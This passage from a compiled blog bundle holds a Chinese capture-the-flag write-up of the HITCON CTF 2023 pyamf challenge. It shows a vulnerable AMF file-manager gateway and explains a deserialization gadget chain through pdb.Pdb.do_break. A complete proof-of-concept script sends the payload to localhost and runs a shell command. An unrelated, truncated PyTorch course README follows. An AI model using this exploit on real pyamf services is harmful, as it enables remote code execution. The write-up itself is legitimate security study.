WSGIGateway\n\nimport logging\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG) # \u8bbe\u7f6e\u65e5\u5fd7\u7ea7\u522b\u4e3a NOTSET\n\n# \u521b\u5efa\u4e00\u4e2a StreamHandler \u5904\u7406\u5668\u5e76\u8bbe\u7f6e\u5176\u7ea7\u522b\u4e3a DEBUG\nstream_handler = logging.StreamHandler()\nstream_handler.setLevel(logging.DEBUG)\n\n# \u521b\u5efa\u4e00\u4e2a\u683c\u5f0f\u5316\u5668\u5e76\u5c06\u5176\u5e94\u7528\u4e8e\u5904\u7406\u5668\nformatter = logging.Formatter(\'%(asctime)s - %(levelname)s - %(message)s\')\nstream_handler.setFormatter(formatter)\n\n# \u5c06\u5904\u7406\u5668\u6dfb\u52a0\u5230 logger\nlogger.addHandler(stream_handler)\n\n\n\nADMIN_USER = "??"\nADMIN_PASS = "??"\n\n\nclass FileManagerService:\n def read(self, filename):\n with open(filename, "rb") as f:\n return f.read()\n\n def list(self, path="/"):\n import os\n return os.listdir(path)\n\n\ndef auth(username, password):\n if username == ADMIN_USER and password == ADMIN_PASS:\n return True\n\n return False\n\n\ngateway = WSGIGateway({"file_manager": FileManagerService}, authenticator=auth, logger=logger)\n\n\nif __name__ == "__main__":\n from wsgiref import simple_server\n\n host = "0.0.0.0"\n port = 5000\n\n httpd = simple_server.WSGIServer((host, port), simple_server.WSGIRequestHandler)\n httpd.set_app(gateway)\n\n logger.info("Running Authentication AMF gateway on http://%s:%d" % (host, port))\n\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u4ece",(0,r.jsx)(e.code,{children:"github"}),"\u4e0a\u7684 pyamf \u4ecb\u7ecd\u53ef\u4ee5\u770b\u5230 \u4ed6\u662f\u4e0eFlash\u7684",(0,r.jsx)(e.code,{children:"amf"}),"\u517c\u5bb9\u7684\u4e00\u4e2a\u5e93\uff0c\u4e0e\u5e38\u7528\u7684",(0,r.jsx)(e.code,{children:"python"})," web\u6846\u67b6",(0,r.jsx)(e.code,{children:"Django\uff0cPylons\uff0cTwisted\uff0cSQLAlchemy\uff0cweb2py"}),"\u517c\u5bb9\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314766.png-.png",alt:"image-20230928152047488"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5b83\u53ef\u4ee5\u5229\u7528",(0,r.jsx)(e.code,{children:"amf"}),"\u534f\u8bae\u5b9a\u4e49\u4e0b\u7684\u683c\u5f0f\uff0c\u8fdb\u884c\u8fdc\u7a0b\u5bf9\u8c61\u8c03\u7528\u3001\u6267\u884c\uff0c\u4e8e\u662f\u53ea\u8981\u6ee1\u8db3amf\u683c\u5f0f\u7684\u5bf9\u8c61\u5c31\u80fd\u591f\u8fdb\u884c\u8fdc\u7a0b\u8c03\u7528\uff0c\u5373\u53ef\uff1b"]}),"\n",(0,r.jsx)(e.p,{children:"\u901a\u8fc7\u67e5\u9605\u8d44\u6599\u53ef\u4ee5\u5f97\u77e5\uff0cAMF3\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u683c\u5f0f"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-tex",children:"00 03 00 00 00 01 00 01 61 00 01 62 ......\n# 00 03 amf\u534f\u8bae\u7684\u7248\u672c\u53f7 3\n# 00 00 \u5934\u90e8\u6570\u636e \u4e3a0 \n# 00 01 \u6d88\u606f\u4f53 1\n# 00 01 \u76ee\u6807\u957f\u5ea6 \n# 61 \u76ee\u6807 -> a\n# 00 01 \u63a5\u6536\u957f\u5ea6\n# 62 \u63a5\u6536\u65b9 b\n# ..... \u6d88\u606f\u4f53\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u6d88\u606f\u4f53\u53ea\u9700\u8981\u6ee1\u8db3\u662famf\u8f6c\u6362\u7684 \u5bf9\u8c61 int\u3001bool\u3001\u7b49\u7c7b\u578b\u7684\u6570\u636e\u5747\u53ef\u88ab\u4f20\u9012"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314767.png-.png",alt:"image-20230928155624774"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5728",(0,r.jsx)(e.code,{children:"py3amf"}),"\u8fd9\u4e2a\u5305\u4e2d\uff0c\u5b83\u672c\u8eab\u652f\u6301\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\uff0c\u4e8e\u662f\u6211\u4eec\u53ea\u9700\u8981\u4e86\u89e3\u5b83\u7684\u8c03\u7528\u8fc7\u7a0b\uff0c\u5c31\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u7279\u70b9\u8fdb\u884c\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5728",(0,r.jsx)(e.code,{children:"pyamf\\remoting\\gateway\\wsgi.py"})," \u8fd9\u4e2a\u65b9\u6cd5\u5bf9\u8fdc\u7a0b\u4ee3\u7801\u8fdb\u884c\u4e86\u89e3\u7801\u64cd\u4f5c"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314768.png-.png",alt:"image-20230928155934795"})}),"\n",(0,r.jsx)(e.p,{children:"\u8ddf\u8fdb\uff0c\u5c31\u4f1a\u53d1\u73b0\u5b83\u8bfb\u51fa\u4e86\u6211\u4eec\u8bbe\u5b9a\u7684target\u548cresponse"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314769.png-.png",alt:"image-20230928160140437"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314770.png-.png",alt:"image-20230928160222907"})}),"\n",(0,r.jsxs)(e.p,{children:["\u800c\u5173\u952e\u5c31\u5728",(0,r.jsx)(e.code,{children:"decoder.readElement()->self._readElemnt()"}),"\u4e2d"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314771.png-.png",alt:"image-20230928160256940"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314772.png-.png",alt:"image-20230928160357959"})}),"\n",(0,r.jsx)(e.p,{children:"\u9996\u5148\u662f\u8bfb\u51fa\u4e86\u5b57\u8282\u662f\u54ea\u79cd\u7c7b\u578b"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314773.png-.png",alt:"image-20230928160545964"})}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u8bfb\u51faamf\u683c\u5f0f\u7684\u5bf9\u8c61"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314774.png-.png",alt:"image-20230928160649837"})}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u4f1a\u8bfb\u51fa",(0,r.jsx)(e.code,{children:"\u7c7b\u540d"})," -> ",(0,r.jsx)(e.code,{children:"\u9759\u6001\u5c5e\u6027\u3001\u52a8\u6001\u5c5e\u6027"}),"\uff0c\u8fd9\u5c31\u5b8c\u6210\u4e86\u4e00\u4e2a\u5bf9\u8c61\u7684\u52a0\u8f7d\u3002"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314775.png-.png",alt:"image-20230928161017686"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314776.png-.png",alt:"image-20230928161046419"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314777.png-.png",alt:"image-20230928161110524"})}),"\n",(0,r.jsx)(e.p,{children:"\u4f46\u6700\u540e\u4e3a\u4f55\u4f1a\u89e6\u53d1\u8fd9\u4e9b\u88ab\u5b9e\u4f8b\u5316\u7684\u5bf9\u8c61\u5462\uff0c\u6211\u4eec\u77e5\u9053\u5728python \u5b58\u5728\u67d0\u4e9b\u9b54\u6cd5\u65b9\u6cd5\uff0c\u5f53\u5728\u4e00\u5b9a\u6761\u4ef6\u4e0b\uff0c\u5c31\u4f1a\u89e6\u53d1\uff0c\u4f8b\u5982\uff0c\u4ee5\u4e0b\u51fd\u6570\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314778.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314779.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314780.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314782.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314783.png-.png",alt:"img"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314784.png-.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6240\u4ee5\u540e\u7eed\u64cd\u4f5c\u65f6\uff0c\u5f88\u5bb9\u6613\u5c31\u4f1a\u89e6\u53d1\u8fd9\u4e9b\u9b54\u6cd5\u65b9\u6cd5\uff0c\u5f53\u6211\u4eec\u5c31\u9700\u8981\u5bfb\u627e \u5728\u90a3\u4e2a\u9b54\u6cd5\u65b9\u6cd5\u91cc\u80fd\u591f\u627e\u5230\u4e00\u4e2a \u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u5e76\u8c03\u7528\u7684\u5176\u4ed6\u5bf9\u8c61\u7684\u65b9\u6cd5\u7684\u4e00\u4e9b\u8c03\u7528\u94fe\uff0c\u6700\u7ec8\u627e\u5230\u80fd\u591f\u63a7\u5236\u7684\u51fd\u6570\u8c03\u7528 ",(0,r.jsx)(e.code,{children:"eval"}),"\u3001",(0,r.jsx)(e.code,{children:"exec"})," \u3001",(0,r.jsx)(e.code,{children:"os.system"})]}),"\n",(0,r.jsxs)(e.p,{children:["\u7136\u800c\u8fd9\u9053\u9898\u7ed9\u4e86\u6211\u4eec\u63d0\u793a\uff0c\u5728\u8fd9\u4e2a\u5efa\u8bae\u7684\u6587\u4ef6\u670d\u52a1\u5668\u4e2d\uff0c\u6ee1\u8db3\u4e00\u5b9a\u6761\u4ef6\u5c31\u53ef\u4ee5\u8c03\u7528\u6211\u4eec\u751f\u6210\u51fa\u6765\u7684",(0,r.jsx)(e.code,{children:"service"})]}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u4e0b\u6240\u793a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314785.png-.png",alt:"image-20230928162028502"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314786.png-.png",alt:"image-20230928162135714"})}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0d\u96be\u770b\u51fa\uff0c\u53ea\u8981",(0,r.jsx)(e.code,{children:"self.service\u3001method\u3001params"}),"\u53ef\u4ee5\u63a7\u5236,\u5c31\u53ef\u4ee5\u5b9e\u73b0\u4efb\u610f\u7c7b\u7684",(0,r.jsx)(e.strong,{children:"\u516c\u6709\u65b9\u6cd5"}),"\u8c03\u7528\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5411\u4e0a\u67e5\u627e\uff0c\u90a3\u4e2a\u80fd\u591f\u5bf9\u8c61\u89e6\u53d1",(0,r.jsx)(e.code,{children:"pyamf.remoting.gateway.ServiceWrapper"}),"\u7684",(0,r.jsx)(e.code,{children:"__call__"}),"\u65b9\u6cd5\u3001\u6ee1\u8db3\u8c03\u7528\u65f6\u5b58\u5728\u4e24\u4e2a\u53c2\u6570\uff0c\u5e76\u4e14\u80fd\u591f\u5b9e\u4f8b\u5316\u65f6\u4e0d\u9700\u8981\u4efb\u4f55\u53c2\u6570\uff0c\u5c31\u80fd\u591f\u5b9e\u4f8b\u5316\uff0c\u5f88\u9057\u61be\u6211\u6ca1\u6709\u76f4\u63a5 \u76f4\u63a5\u627e\u5230\u8fd9\u4e48\u4e00\u4e2a\u7c7b\u6ee1\u8db3\u8fd9\u4e2a\u6761\u4ef6\uff0c\u4f46\u6211\u627e\u5230\u4e86\u4e00\u4e2a\u7c7b\u53ef\u4ee5\u901a\u8fc7\u91cd\u590d\u8c03\u7528\u81ea\u5df1\u4f7f\u5176\u6ee1\u8db3\u4e24\u4e2a\uff0c\u5e76\u4e14\u5b83\u7684",(0,r.jsx)(e.code,{children:"__new__"})," \u65b9\u6cd5\u4e0d\u9700\u8981\u4efb\u4f55\u53c2\u6570"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314787.png-.png",alt:"image-20230928165235163"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u53d1\u73b0\u8fd9\u4e2a\u6700\u5916\u5c42\u7684\u5bf9\u8c61\u5728 ",(0,r.jsx)(e.code,{children:"Request()"}),"\u4e2d\u8fdb\u884c\uff0c\u7a7a\u5bf9\u8c61\u6bd4\u8f83\u662f\uff0c\u4f1a\u89e6\u53d1",(0,r.jsx)(e.code,{children:"__len__"}),"\u65b9\u6cd5"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314788.png-.png",alt:"image-20230928165553526"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314789.png-.png",alt:"image-20230928165646492"})}),"\n",(0,r.jsx)(e.p,{children:"\u6240\u4ee5\u540e\u9762\u80fd\u591f\u8854\u63a5 \u53ea\u8981\u8c03\u7528\u5c5e\u6027\u5bf9\u8c61\u88ab\u5f53\u6210\u65b9\u6cd5\u8c03\u7528\u5373\u53ef"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314790.png-.png",alt:"image-20230928165738257"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6700\u7ec8\u5728",(0,r.jsx)(e.code,{children:"pyamf.util.pure.BytesIOProxy"}),"\u7684",(0,r.jsx)(e.code,{children:"__len__"})," \u627e\u5230\u4e86"]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314791.png-.png",alt:"image-20230928165747768"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u6b64\u65f6\u80fd\u591f\u5bf9\u4efb\u610f\u7c7b\u7684\u4efb\u610f\u65b9\u6cd5\u6267\u884c\u4e86\uff0c\u4e8e\u662f\u627e\u4e00\u4e2a\u6267\u884c\u4e86eval\u3001exec \u7684\u65b9\u6cd5\u5373\u53ef\uff0c\u4e00\u4e2a\u5e38\u7528\u7684\u7c7b",(0,r.jsx)(e.code,{children:"pdb.Pdb"}),"\u4e2d\u7684\u5f88\u591a\u65b9\u6cd5\u90fd\u8c03\u7528\u4e86",(0,r.jsx)(e.code,{children:"exec"}),"\uff0c\u4f46\u6211\u4eec\u9700\u8981\u4e00\u4e2a\u516c\u5f00\u7684\u65b9\u6cd5 ",(0,r.jsx)(e.code,{children:"do_break"})]}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202310201314792.png-.png",alt:"image-20230928171305147"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e8e\u662f\u5b8c\u6574\u7684poc\u5982\u4e0b"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'from pyamf import amf0, amf3, util\n\nAMF = amf3\n\n\ndef serialize(obj):\n stream = util.BufferedByteStream()\n context = AMF.Context()\n encoder = AMF.Encoder(stream, context)\n encoder.writeElement(obj)\n return stream.getvalue()\n\n\ndef deserialize(data):\n stream = util.BufferedByteStream(data)\n context = AMF.Context()\n decoder = AMF.Decoder(stream, context)\n return decoder.readElement()\n\n\ndef serialize_attrs(attrs):\n s = b""\n for k, v in attrs.items():\n s += serialize(k)[1:]\n if isinstance(v, Obj):\n s += v.serialize()\n else:\n s += serialize(v)\n\n s += serialize(None)\n return s\n\n\nclass Obj:\n def __init__(self, _name, **kwargs):\n self.name = _name\n self.attrs = kwargs\n\n def serialize(self):\n s = b"\\x0a\\x0b" + serialize(self.name)[1:]\n s += serialize_attrs(self.attrs)\n return s\n\nserialized = Obj(\n "pyamf.util.pure.BytesIOProxy",\n _len_changed=True,\n _len=48763,\n _get_len=Obj(\n "xmlrpc.client._Method",\n _Method__send=Obj(\n "xmlrpc.client._Method",\n _Method__send=Obj(\n "pyamf.remoting.gateway.ServiceWrapper",\n service=Obj(\n "pdb.Pdb",\n curframe=Obj("pyamf.adapters._weakref.Foo", f_globals={}),\n curframe_locals={},\n stdout=None\n ),\n ),\n _Method__name="do_break",\n ),\n _Method__name="""\n __import__("os").system("dir")\n """.strip(), # your exploit here\n ),\n).serialize()\n\n\n\nimport requests\n\nserialized = b"\\x11" + serialized\nr = requests.post(\n "http://localhost:5000/",\n data=b"\\x00\\x03"\n + b"\\x00\\x00"\n + b"\\x00\\x01"\n + b"\\x00\\x01c"\n + b"\\x00\\x01b"\n + len(serialized).to_bytes(4, "big") + serialized,\n)\n\nprint(r.text)\n\n'})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"Referer"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:(0,r.jsx)(e.a,{href:"https://blog.splitline.tw/hitcon-ctf-2023-challenges-zh_tw/",children:"https://blog.splitline.tw/hitcon-ctf-2023-challenges-zh_tw/"})}),"\n"]})]})}function g(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}},28453:(n,e,s)=>{s.d(e,{R:()=>c,x:()=>l});var t=s(96540);const r={},i=t.createContext(r);function c(n){const e=t.useContext(i);return t.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:c(n.components),t.createElement(i.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/31bc9fdd.898a4204.js b/en/assets/js/31bc9fdd.898a4204.js new file mode 100644 index 0000000..84fb682 --- /dev/null +++ b/en/assets/js/31bc9fdd.898a4204.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1155],{16763:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>h,contentTitle:()=>d,default:()=>o,frontMatter:()=>r,metadata:()=>l,toc:()=>c});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/README","title":"PyTorch","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"AI","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/"},"next":{"title":"\u7b2c\u96f6\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/"}}');var s=n(74848),i=n(28453);const r={},d="PyTorch",h={},c=[{value:"\u4eba\u5458\u5b89\u6392",id:"\u4eba\u5458\u5b89\u6392",level:2},{value:"\u56db\u3001 \u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5",id:"\u56db-\u8bfe\u7a0b\u7f16\u6392\u4e0e\u4f7f\u7528\u65b9\u6cd5",level:2},{value:"\u4e94\u3001\u5173\u4e8e\u8d21\u732e",id:"\u4e94\u5173\u4e8e\u8d21\u732e",level:2},{value:"Commit Message",id:"commit-message",level:3},{value:"\u516d\u3001\u66f4\u65b0\u8ba1\u5212",id:"\u516d\u66f4\u65b0\u8ba1\u5212",level:2},{value:"\u4e03\u3001\u9e23\u8c22\u4e0e\u53cd\u9988",id:"\u4e03\u9e23\u8c22\u4e0e\u53cd\u9988",level:2},{value:"\u516b\u3001\u5173\u6ce8\u6211\u4eec",id:"\u516b\u5173\u6ce8\u6211\u4eec",level:2},{value:"LICENSE",id:"license",level:2}];function x(e){const t={a:"a",br:"br",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"pytorch",children:"PyTorch"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:42"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u6df1\u5165\u6d45\u51fapytorch",children:"\u6df1\u5165\u6d45\u51faPyTorch"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u662f\u5229\u7528\u6df1\u5ea6\u5b66\u4e60\u8fdb\u884c\u6570\u636e\u79d1\u5b66\u7814\u7a76\u7684\u91cd\u8981\u5de5\u5177\uff0c\u5728\u7075\u6d3b\u6027\u3001\u53ef\u8bfb\u6027\u548c\u6027\u80fd\u4e0a\u90fd\u5177\u5907\u76f8\u5f53\u7684\u4f18\u52bf\uff0c\u8fd1\u5e74\u6765\u5df2\u6210\u4e3a\u5b66\u672f\u754c\u5b9e\u73b0\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u6700\u5e38\u7528\u7684\u6846\u67b6\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u8003\u8651\u5230PyTorch\u7684\u5b66\u4e60\u517c\u5177\u7406\u8bba\u50a8\u5907\u548c\u52a8\u624b\u8bad\u7ec3\uff0c\u4e24\u624b\u90fd\u8981\u6293\u4e24\u624b\u90fd\u8981\u786c\u7684\u7279\u70b9\uff0c\u6211\u4eec\u5f00\u53d1\u4e86\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u8bfe\u7a0b\uff0c\u671f\u671b\u4ee5\u7ec4\u961f\u5b66\u4e60\u7684\u5f62\u5f0f\uff0c\u5e2e\u52a9\u5927\u5bb6\u4ece\u5165\u95e8\u5230\u719f\u7ec3\u638c\u63e1PyTorch\u5de5\u5177\uff0c\u8fdb\u800c\u5b9e\u73b0\u81ea\u5df1\u7684\u6df1\u5ea6\u5b66\u4e60\u7b97\u6cd5\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u6211\u4eec\u7684\u613f\u666f\u662f\uff1a\u901a\u8fc7\u7ec4\u961f\u5b66\u4e60\uff0c\u5927\u5bb6\u80fd\u591f\u638c\u63e1\u7531\u6d45\u5165\u6df1\u5730PyTorch\u7684\u57fa\u672c\u77e5\u8bc6\u548c\u5185\u5bb9\uff0c\u7ecf\u8fc7\u81ea\u5df1\u7684\u52a8\u624b\u5b9e\u8df5\u52a0\u6df1\u64cd\u4f5c\u7684\u719f\u7ec3\u5ea6\u3002\u540c\u65f6\u901a\u8fc7\u9879\u76ee\u5b9e\u6218\uff0c\u5145\u5206\u953b\u70bc\u7f16\u7a0b\u80fd\u529b\uff0c\u638c\u63e1PyTorch\u8fdb\u884c\u6df1\u5ea6\u5b66\u4e60\u7684\u57fa\u672c\u6d41\u7a0b\uff0c\u63d0\u5347\u89e3\u51b3\u5b9e\u9645\u95ee\u9898\u7684\u80fd\u529b\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u5b66\u4e60\u7684\u5148\u4fee\u8981\u6c42\u662f\uff0c\u4f1a\u4f7f\u7528Python\u7f16\u7a0b\uff0c\u4e86\u89e3\u5305\u62ec\u795e\u7ecf\u7f51\u7edc\u5728\u5185\u7684\u673a\u5668\u5b66\u4e60\u7b97\u6cd5\uff0c\u52e4\u4e8e\u52a8\u624b\u5b9e\u8df5\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\u662f\u4e00\u4e2a\u7cfb\u5217\uff0c\u4e00\u5171\u6709\u4e09\u4e2a\u90e8\u5206\u3002\u5df2\u7ecf\u4e0a\u7ebf\u7684\u662f\u672c\u7cfb\u5217\u7684\u7b2c\u4e00\u3001\u4e8c\u90e8\u5206\uff0c\u540e\u7eed\u4f1a\u4e0d\u65ad\u66f4\u65b0\u300a\u6df1\u5165\u6d45\u51faPyTorch\u300b\uff08\u4e0b\uff09\uff0c\u7ed9\u51fa\u66f4\u8d34\u5408\u5b9e\u9645\u5e94\u7528\u7684\u5b9e\u6218\u6848\u4f8b\u3002"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n:caption: \u76ee\u5f55\n\u7b2c\u96f6\u7ae0/index\n\u7b2c\u4e00\u7ae0/index\n\u7b2c\u4e8c\u7ae0/index\n\u7b2c\u4e09\u7ae0/index\n\u7b2c\u56db\u7ae0/index\n\u7b2c\u4e94\u7ae0/index\n\u7b2c\u516d\u7ae0/index\n\u7b2c\u4e03\u7ae0/index\n\u7b2c\u516b\u7ae0/index\n\u7b2c\u4e5d\u7ae0/index\n\u7b2c\u5341\u7ae0/index\n"})}),"\n",(0,s.jsx)(t.h2,{id:"\u4eba\u5458\u5b89\u6392",children:"\u4eba\u5458\u5b89\u6392"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{children:"\u6210\u5458\xa0"}),(0,s.jsx)(t.th,{children:"\u4e2a\u4eba\u7b80\u4ecb"}),(0,s.jsx)(t.th,{children:"\u4e2a\u4eba\u4e3b\u9875"})]})}),(0,s.jsxs)(t.tbody,{children:[(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u725b\u5fd7\u5eb7"}),(0,s.jsx)(t.td,{children:"DataWhale\u6210\u5458\uff0c\u897f\u5b89\u7535\u5b50\u79d1\u6280\u5927\u5b66\u672c\u79d1\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://www.zhihu.com/people/obeah-82",children:"\u77e5\u4e4e"}),"][",(0,s.jsx)(t.a,{href:"https://nofish-528.github.io/",children:"\u4e2a\u4eba\u4e3b\u9875"}),"]"]})]}),(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{children:"\u674e\u5609\u9a90"}),(0,s.jsx)(t.td,{children:"DataWhale\u6210\u5458\uff0c\u6e05\u534e\u5927\u5b66\u7814\u7a76\u751f"}),(0,s.jsxs)(t.td,{children:["[",(0,s.jsx)(t.a,{href:"https://www.zhihu.com/people/li-jia-qi-16-9/posts",children:"\u77e5\u4e4e"}),"]"]})]}),(0,s.jsx